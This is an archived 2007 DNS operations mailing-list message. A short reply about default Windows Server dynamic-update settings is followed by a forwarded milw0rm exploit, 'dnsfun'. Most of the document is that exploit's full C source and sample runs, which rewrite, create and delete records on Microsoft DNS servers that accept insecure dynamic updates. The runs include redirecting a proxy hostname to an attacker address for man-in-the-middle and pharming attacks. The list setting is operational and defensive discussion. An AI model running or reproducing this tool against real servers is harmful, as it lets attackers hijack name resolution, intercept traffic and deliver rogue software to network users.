<HTML dir=ltr><HEAD><TITLE>[dns-operations] "Exploiting Microsoft DNS Dynamic Updates for Funand profit"</TITLE>
<META http-equiv=Content-Type content="text/html; charset=unicode">
<META content="MSHTML 6.00.6000.16414" name=GENERATOR></HEAD>
<BODY>
<DIV id=idOWAReplyText74983 dir=ltr>
<DIV dir=ltr><FONT face=Arial color=#000000 size=2>For the record, the default setting in Server 2003 are as follows.  For zones integrated with Active Directory, Dynamic Updates are enabled but require authentication via Kerberos.  Also, computer accounts have only permission to update their own records, they cannot update that of other computers or add/delete records.  For zones operating in standard (i.e. classic, non-AD integrated) dynamic updates are disable.  I don't have a Server 2000 box in front of me, but I believe it has the same behavior.</FONT></DIV>
<DIV dir=ltr><FONT face=Arial size=2></FONT> </DIV>
<DIV dir=ltr><FONT face=Arial size=2>Though a Windows DNS server with badly configure Dynamic Update settings is vulnerable to a wide range of attacks, BIND is equally vulnerable when configured to allow Dynamic Updates from any source.</FONT></DIV>
<DIV dir=ltr><FONT face=Arial size=2></FONT> </DIV>
<DIV dir=ltr><FONT face=Arial size=2>My $0.02,</FONT></DIV>
<DIV dir=ltr><FONT face=Arial size=2>Adam Stasiniewicz, MCSE</FONT></DIV></DIV>
<DIV dir=ltr><BR>
<HR tabIndex=-1>
<FONT face=Tahoma size=2><B>From:</B> dns-operations-bounces@lists.oarci.net on behalf of Gadi Evron<BR><B>Sent:</B> Thu 3/22/2007 11:05 PM<BR><B>To:</B> dns-operations@lists.oarci.net<BR><B>Subject:</B> [dns-operations] "Exploiting Microsoft DNS Dynamic Updates for Funand profit"<BR></FONT><BR></DIV>
<DIV>
<P><FONT size=2>// <A href="http://www.milw0rm.com/exploits/3544">http://www.milw0rm.com/exploits/3544</A><BR><BR>/*<BR>Exploiting Microsoft DNS Dynamic Updates for Fun and profit<BR>Andres Tarasco Acu˙a  - (c) 2007<BR>Url: <A href="http://www.514.es/">http://www.514.es</A><BR> <BR><BR>By default, most Microsoft DNS servers integrated with active directory<BR>allow<BR>insecure dynamic updates for dns records.<BR>This feature allows remote users to create, change and delete DNS records.<BR>There are several attack scenarios:<BR><BR>+ MITM attacks: Changing dns records for the network proxy and relay HTTP<BR>queries.<BR>  This attack vector is the most reliable and also allows us to exploit<BR>automatic<BR>  updates for most Windows software, by deploying custom binaries to the<BR>client.<BR><BR> + Denial of service: by deleting / changing critical dns records<BR><BR> + Pharming: like mitm attacks, poisoning several dns records.<BR><BR>dnsfun exploits that weak configuration and allows remote users to modify<BR>dns records.<BR>Here are some examples of what can be done. Example:<BR><BR><BR>D:\DNSfun>ping -n 1 FakeProxy.fooooo.com<BR>Haciendo ping a FakeProxy.fooooo.com [66.6.66.6] con 32 bytes de datos:<BR>     <BR>D:\DNSfun>dnsfun.exe -s 10.100.1.1 -q  proxy.mydomain -u 66.6.66.6<BR>Microsoft Dynamic DNS Updates - Proof of Concept<BR><A href="http://www.514.es/">http://www.514.es</A> - (c) 2007 Andres Tarasco Acu˙a<BR>     <BR> [+] Trying to resolve Host: proxy.mydomain (Dns Server 10.100.1.1)<BR> [+] Host proxy.mydomain resolved as 192.168.1.200<BR> [+] Trying to set ip address of the host proxy.mydomain to 66.6.66.6<BR> [+] Trying Nonsecure Dynamic Update...<BR> [?] Host Updated. Checking...(0)<BR> [+] Host proxy.mydomain resolved as 66.6.66.6<BR><BR>D:\DNSfun>dnsfun.exe -s 10.100.1.1 -cc atarasco.mydomain.com -u www.514.es<BR> Microsoft Dynamic DNS Updates - Proof of Concept<BR> <A href="http://www.514.es/">http://www.514.es</A> - (c) 2007 Andres Tarasco Acu˙a<BR><BR>[+] Gathering Credentials..<BR>[+] Creating DNS CName Record for atarasco.mydomain.com (www.514.es)<BR>[+] Host Created. Rechecking Record...<BR>[+] Host atarasco.mydomain.com resolved as CNAME www.514.es<BR><BR>This isn't a new vulnerability but AFAIK those attack vectors were never<BR>exploited.<BR><BR>Check the usage function for more information<BR><BR>*/<BR>#include <stdio.h><BR>#include <winsock2.h><BR>#include <Windns.h><BR>#pragma comment(lib,"Dnsapi.lib")<BR>#pragma comment(lib, "ws2_32.lib")<BR><BR>char TargetDnsServer[256]=""; // -s<BR>char TargetDnsRecord[256]=""; // -q<BR>char NewIpAddress[256]="";    // -i<BR>char DeleteDnsRecord[256]=""; //-d<BR>char CreateDnsRecord[256]="";<BR><BR>WORD CreationType=DNS_TYPE_A;<BR><BR>#define DELETERECORD   (DeleteDnsRecord[0]!='\0')<BR>#define UPDATERECORD ( (TargetDnsRecord[0]!='\0') &&<BR>(NewIpAddress[0]!='\0') )<BR>#define CREATERECORD ( (CreateDnsRecord[0]!='\0') &&<BR>(NewIpAddress[0]!='\0') )<BR>#define QUERYRECORD    (TargetDnsRecord[0]!='\0')<BR>#define _DBG_<BR>#undef _DBG_<BR><BR>void usage(char *argv[]);<BR><BR><BR>DNS_RECORDA *DnsQueryA(char *name,IP4_ARRAY *servers)<BR>{<BR>  <BR>   DNS_STATUS status;<BR>   WORD type= DNS_TYPE_ANY;<BR>   DWORD fOptions=DNS_QUERY_BYPASS_CACHE | DNS_QUERY_NO_LOCAL_NAME<BR>|DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_NO_NETBT | DNS_QUERY_TREAT_AS_FQDN;<BR>   PVOID* reserved=NULL;<BR>   DNS_RECORDA *records=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));<BR>   DNS_RECORDA *result;<BR>   IN_ADDR ipaddr;<BR>   int i;<BR>   int count=0;       <BR>  <BR>   if (!name) {<BR>      return (NULL);<BR>   } else {<BR>      memset(records,'\0',sizeof(DNS_RECORDA));<BR>      status = DnsQuery_A( name,          //PCWSTR pszName,<BR>         type,          //WORD wType,<BR>         fOptions,      //DWORD fOptions,<BR>         servers,       //PIP4_ARRAY aipServers,<BR>         (DNS_RECORDA**)&records,    //PDNS_RECORD* ppQueryResultsSet,<BR>         reserved ); //PVOID* pReserved<BR>     <BR>      if (status == ERROR_SUCCESS)<BR>      {<BR>         fflush(stdout);<BR>         result=records;<BR>         do {<BR>#ifdef _DBG_   <BR>            printf("[+] Record %i---\n",count);<BR>            count++;<BR>            printf("[+] DNS  wDataLength %i\n",result->wDataLength);<BR>            printf("[+] DNS Flags DW: %x\n",result->Flags.DW);<BR>            printf("[+] DNS Flags<BR>S.Section: %x\n",result->Flags.S.Section);<BR>            printf("[+] DNS Flags S.Delete: %x\n",result->Flags.S.Delete);<BR>            printf("[+] DNS Flags<BR>S.CharSet: %x\n",result->Flags.S.CharSet);<BR>            printf("[+] DNS Flags S.Unused: %x\n",result->Flags.S.Unused);<BR>            printf("[+] DNS Flags<BR>S.Reserved: %x\n",result->Flags.S.Reserved);<BR>#endif<BR>            switch (result->wType) {<BR>            case DNS_TYPE_A:<BR>               ipaddr.S_un.S_addr = (result->Data.A.IpAddress);<BR>               printf("[+] Host %s resolved as %s\n",<BR>result->pName,inet_ntoa(ipaddr));<BR>               break;<BR>            case DNS_TYPE_NS:<BR>               printf("[+] Domain %s Dns<BR>Servers: %s\n",result->pName,result->Data.Ns.pNameHost);<BR>               break;<BR>            case DNS_TYPE_CNAME:<BR>               printf("[+] Host %s resolved as CNAME %s\n",<BR>result->pName,result->Data.Cname.pNameHost);<BR>               //DnsQueryA(result->Data.Cname.pNameHost,servers);<BR>               break;<BR>              <BR>            case DNS_TYPE_SOA:<BR>               printf("[+] SOA<BR>Information: PrimaryServer: %s\n",result->Data.Soa.pNamePrimaryServer);<BR>               printf("[+] SOA<BR>Information: Administrator: %s\n",result->Data.Soa.pNameAdministrator);<BR>               printf("[+] SOA Information: SerialNo %x - Refresh %i -<BR>retry %i - Expire %i - DefaultTld %i\n",<BR>                  result->Data.Soa.dwSerialNo,<BR>                  result->Data.Soa.dwRefresh,<BR>                  result->Data.Soa.dwRetry,<BR>                  result->Data.Soa.dwExpire,<BR>                  result->Data.Soa.dwDefaultTtl);<BR>               break;<BR>              <BR>            case DNS_TYPE_MX:<BR>               printf("[+] %s MX Server resolved as %s (Preference %i)\n",<BR>result->pName,result->Data.Mx.pNameExchange, result->Data.Mx.wPreference);<BR>               break;<BR><BR>            case DNS_TYPE_TEXT:<BR>               printf("[+] Text: %i<BR>bytes\n",result->Data.Txt.dwStringCount); //:?<BR>               break;<BR><BR>            case DNS_TYPE_SRV:<BR>               printf("[+] SRV Record. NameTarget %s<BR>",result->Data.Srv.pNameTarget);<BR>               printf("(Priority %i - Port %i -<BR>Weigth: %i)\n",result->Data.Srv.wPriority,result->Data.Srv.wPort,result->Data.Srv.wWeight);<BR>               //printf("[+] Resource Pad %i \n",result->Data.Srv.Pad);<BR>               break;<BR>              <BR>            default:<BR>               printf("[-] DnsQuery returned unknown wtype<BR>%x\n",result->wType);<BR>               break;<BR>            }<BR>            result=result->pNext;<BR>         } while (result!=NULL);<BR>      } else {<BR>         if (status==9003) printf("[-] Record not found\n");<BR>         else printf("[-] Query Error: %i - %i\n",status,GetLastError());<BR>         exit(-1);<BR>      }<BR>   }<BR>   return records;<BR>}<BR>/***********************************************************************************************/<BR>int main(int argc, char *argv[]) {<BR>  <BR>   HANDLE creds;<BR>   DNS_RECORDA *result;<BR>   DNS_STATUS status;<BR>  <BR>   HANDLE ContextHandle;<BR>   DWORD Options=DNS_UPDATE_SECURITY_ON;<BR>   PVOID pReserved=NULL;<BR>   IN_ADDR ipaddr;<BR>   IP4_ARRAY *servers=NULL;<BR>   SEC_WINNT_AUTH_IDENTITY_A *Credentials=NULL;<BR>   WORD i;<BR>     <BR>   printf(" Microsoft Dynamic DNS Updates - Proof of Concept\n");<BR>   printf(" <A href="http://www.514.es/">http://www.514.es</A> - (c) 2007 Andres Tarasco Acu˙a\n\n");<BR>   if (argc==1) usage(argv);<BR>     <BR>   //Init Credentials Struct<BR>   Credentials = (SEC_WINNT_AUTH_IDENTITY_A<BR>*)malloc(sizeof(SEC_WINNT_AUTH_IDENTITY_A));<BR>   memset(Credentials,'\0',sizeof(SEC_WINNT_AUTH_IDENTITY_A));<BR>   Credentials->Flags=SEC_WINNT_AUTH_IDENTITY_ANSI;  <BR>   for(i=1;i<argc;i++) {<BR>      if ( (argv[i][0]=='-') ) {<BR>         switch (argv[i][1]) {<BR>         case 's':<BR>         case 'S':<BR>            strcpy(TargetDnsServer,argv[i+1]);<BR>            servers=(PIP4_ARRAY)malloc(sizeof(IP4_ARRAY));<BR>            servers->AddrCount=1;<BR>            servers->AddrArray[0]=inet_addr(TargetDnsServer);<BR>            break;<BR>         case 'D':<BR>         case 'd':<BR>            strcpy(DeleteDnsRecord,argv[i+1]);<BR>            break;                   <BR>         case 'q':<BR>         case 'Q':<BR>            strcpy(TargetDnsRecord,argv[i+1]);<BR>            break;<BR>         case 'u':<BR>         case 'U':<BR>            strcpy(NewIpAddress,argv[i+1]);<BR>            break;<BR>         case 'c':<BR>         case 'C':<BR>            strcpy(CreateDnsRecord,argv[i+1]);<BR>            if (NewIpAddress[0]=='\0') strcpy(NewIpAddress,"127.0.0.1");<BR>            if (argv[i][2]!='\0') {<BR>               switch (argv[i][2]) {<BR>               case 'c': CreationType=DNS_TYPE_CNAME;<BR>                  break;<BR>               case 'a': CreationType=DNS_TYPE_A;<BR>                  break;<BR>               }<BR>            }<BR>            break;          <BR>            /*<BR>            case 'f':<BR>               CreateThread(<BR>NULL,0,HttpRelayToProxy,(LPVOID) &i,0,&dwThreadId);<BR>               break;<BR>            case 'au': //Uauthorization serName<BR><BR>Credentials->User=argv[i+1]; Credentials->UserLength=strlen(argv[i+1]);   break;<BR>            case 'ap':<BR><BR>Credentials->Password=argv[i+1];Credentials->PasswordLength=strlen(argv[i+1]); break;<BR>            case 'ad':<BR><BR>Credentials->Domain=argv[i+1]; Credentials->DomainLength=strlen(argv[i+1]);  break;    <BR>            */<BR>         default:<BR>            printf("[-] Invalid argument: %s\n",argv[i]);<BR>            usage(argv);<BR>            break;<BR>         }<BR>         i++;           <BR>      } else usage(argv);<BR>   }<BR>  <BR>   printf("[+] Gathering Credentials..\n");<BR>   //<A href="http://msdn2.microsoft.com/en-us/library/ms682007.aspx">http://msdn2.microsoft.com/en-us/library/ms682007.aspx</A><BR>   if (Credentials->UserLength==0) {<BR>      status=DnsAcquireContextHandle(FALSE,NULL,&ContextHandle); //Context<BR>with default Credentials<BR>   } else {<BR><BR>status=DnsAcquireContextHandle(FALSE,Credentials,&ContextHandle); //Context<BR>with Custom Credentials<BR>   }<BR>  <BR>   if (status == ERROR_SUCCESS) {         <BR>      if (CREATERECORD) {<BR>        <BR>         result=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));<BR>         memset(result,'\0',sizeof(DNS_RECORDA));<BR>         result->wType=CreationType; //DNS_TYPE_A by default<BR>         if (CreationType==DNS_TYPE_CNAME) {<BR>            printf("[+] Creating DNS CName Record for %s<BR>(%s)\n",CreateDnsRecord,NewIpAddress);<BR>            result->Data.Cname.pNameHost=NewIpAddress;<BR>         } else {<BR>            printf("[+] Creating DNS A Record for %s<BR>(%s)\n",CreateDnsRecord,NewIpAddress);<BR>            result->Data.A.IpAddress=inet_addr(NewIpAddress);<BR>         }<BR>         result->pName=CreateDnsRecord;<BR>         result->wDataLength=4;<BR>         result->Flags.S.Section=1;<BR>         result->Flags.S.CharSet=DnsCharSetAnsi;<BR>         result->pNext=NULL;      <BR><BR>         status=DnsModifyRecordsInSet_A(result,  //add record<BR>            NULL, //delete record<BR>            Options,<BR>            ContextHandle,<BR>            servers,<BR>            NULL);<BR>         if (status ==ERROR_SUCCESS) {<BR>            printf("[+] Host Created. Rechecking Record...\n");<BR>            DnsRecordListFree(result,DnsFreeRecordList);<BR>            result=DnsQueryA(CreateDnsRecord,servers);<BR>         } else {<BR>            printf("[-] Error: Unable to create  %s<BR>(%i)\n",CreateDnsRecord,status);<BR>         }     <BR>      } else if (DELETERECORD) {        <BR>         printf("[+] Trying to resolve Host: %s before<BR>deleting\n",DeleteDnsRecord);<BR>         result=DnsQueryA(DeleteDnsRecord,servers);<BR>         if (result!=NULL) {<BR>            printf("[+] Trying to Delete Record. Are You Sure? (Y/N)...");<BR>            i=getchar(); if (i!='y') return(-1);<BR>            printf("[+] Deleting record %s\n",DeleteDnsRecord);  <BR>            status=DnsModifyRecordsInSet_A(NULL,  //add record<BR>               result, //delete record<BR>               Options,<BR>               ContextHandle,<BR>               servers,<BR>               NULL);     <BR>            if (status ==ERROR_SUCCESS) {<BR>               printf("[+] Host Deleted. Rechecking Record<BR>%s...\n",DeleteDnsRecord);<BR>               DnsRecordListFree(result,DnsFreeRecordList);<BR>               result=DnsQueryA(DeleteDnsRecord,servers);<BR>            } else {<BR>               printf("[-] Error: Unable to Delete %s\n",DeleteDnsRecord);<BR>            }<BR>         } else {<BR>            printf("[-] Host %s not found\n",DeleteDnsRecord);<BR>         }<BR><BR>      } else if (UPDATERECORD) {<BR>         //         exit(1);<BR>         printf("[+] Trying to resolve Host: %s before<BR>updating\n",TargetDnsRecord);<BR>         result=DnsQueryA(TargetDnsRecord,servers);<BR>         if (result->wType==DNS_TYPE_A ) {<BR>            printf("[+] Trying to update record. Are You Sure? (Y/N)...");<BR>            i=getchar(); if (i!='y') return(-1);<BR>            result->Data.A.IpAddress=inet_addr(NewIpAddress);//Modify Dns<BR>record<BR>            ipaddr.S_un.S_addr = (result->Data.A.IpAddress);<BR>            printf("[+] Trying to set ip address of the host %s to %s \n",<BR>TargetDnsRecord,NewIpAddress);//inet_ntoa(ipaddr));<BR>            printf("[+] Trying to Modify Record...\n");<BR>            status=DnsReplaceRecordSetA(result,<BR>               Options, //Attempts nonsecure dynamic update. If refused,<BR>then attempts secure dynamic update.<BR>               ContextHandle,<BR>               servers,//pServerList,<BR>               NULL);//pReserved<BR>            if (status ==ERROR_SUCCESS) {<BR>               printf("[+] Host Updated. Rechecking Record...\n");<BR>               DnsRecordListFree(result,DnsFreeRecordList);<BR>               result=DnsQueryA(TargetDnsRecord,servers);<BR>            } else {<BR>               printf("[-] Error: Unable to Delete %s\n",TargetDnsRecord);<BR>            }<BR><BR>         } else {<BR>            printf("[-] Unable to Update Record (Type<BR>%x)\n",result->wType);<BR>            }<BR>      } else if (QUERYRECORD) {<BR>         printf("[+] Query Information for host %s...\n",TargetDnsRecord);<BR>         result=DnsQueryA(TargetDnsRecord,servers);<BR>         DnsRecordListFree(result,DnsFreeRecordList);        <BR>      } else {<BR>         printf("[-] Unknown Options\n");<BR>         return(-1);<BR>      }          <BR>   } else {<BR>      printf("[-] Error Calling DnsAcquireContextHandle\n");  <BR>   }<BR>   return (1);<BR>}<BR><BR>/****************************************************************************/<BR>void usage(char *argv[]) { <BR>   printf(" Usage:\n");<BR>   printf("\t%s\t -[s]d|c|q[u] <options>\n",argv[0]);<BR>   printf(" Details:\n");  <BR>   printf("\t%s\t -s  ip        (dns Server (optional))\n",argv[0]);<BR>   printf("\t%s\t -d  fqdn      (Delete dns record)\n",argv[0]);<BR>   printf("\t%s\t -q  fqdn      (Query  dns record)\n",argv[0]);<BR>   printf("\t%s\t -c[a|c] ip    (Create A or CName record (default<BR>A))\n",argv[0]);<BR>   printf("\t%s\t -u  ip|fqdn   (Update dns record (requires -q or<BR>-c))\n",argv[0]);    <BR>   printf("\n Examples:\n");<BR>   printf("\t%s -s 10.0.0.1 -q proxy.mydomain.com -u 5.1.4.77 (Updates<BR>record)\n",argv[0]);<BR>   printf("\t%s -s 10.0.0.1 -d foo.mydomain.com      (delete<BR>foo.mydomain.com record)\n",argv[0]);<BR>   printf("\t%s -s 10.0.0.1 -c atarasco.foo.mydomain.com -u 5.14.7.7<BR>(creates record)\n",argv[0]);<BR>   printf("\t%s -s 10.0.0.1 -cc www.atarasco.foo.mydomain.com -u 5.14.7.7<BR>(creates record)\n",argv[0]);<BR>   printf("\t%s -s 10.0.0.1 -q _ldap._tcp.mydomain             (Query for<BR>srv record)\n",argv[0]);<BR>   exit(0);<BR>}<BR>/****************************************************************************/<BR><BR>// milw0rm.com [2007-03-22]<BR><BR>_______________________________________________<BR>dns-operations mailing list<BR>dns-operations@lists.oarci.net<BR><A href="http://lists.oarci.net/mailman/listinfo/dns-operations">http://lists.oarci.net/mailman/listinfo/dns-operations</A><BR></FONT></P></DIV></BODY></HTML>